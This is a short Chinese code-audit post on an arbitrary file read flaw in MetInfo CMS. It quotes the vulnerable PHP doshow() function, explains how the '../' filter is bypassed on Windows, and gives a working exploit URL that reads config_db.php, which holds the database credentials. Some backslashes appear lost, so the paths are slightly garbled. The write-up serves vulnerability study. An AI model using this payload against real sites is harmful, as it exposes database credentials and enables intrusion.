代码审计-MetInfo CMS任意文件读取漏洞

0x01 代码分析

发现在appsystemincludemoduleold_thumb.class.php疑似有任意文件读取漏洞

public function doshow(){
        global $_M;

         $dir = str_replace(array('../','./'), '', $_GET['dir']);


        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
        }

页面建立old_thumb 类,并创建dbshow方法 2.程序首先过滤…/./两个特殊字符,然后要求字符必须以http开头,并且不能检测到./字符,最后读取文件内容。 3.看似过滤非常完美,但是依然能够绕过,windows下可以使用…绕过

0x02 漏洞利用

http://192.168.5.172/include/thumb.php?dir=http....configconfig_db.php

原文地址:https://www.cnblogs.com/-qing-/p/10889467.html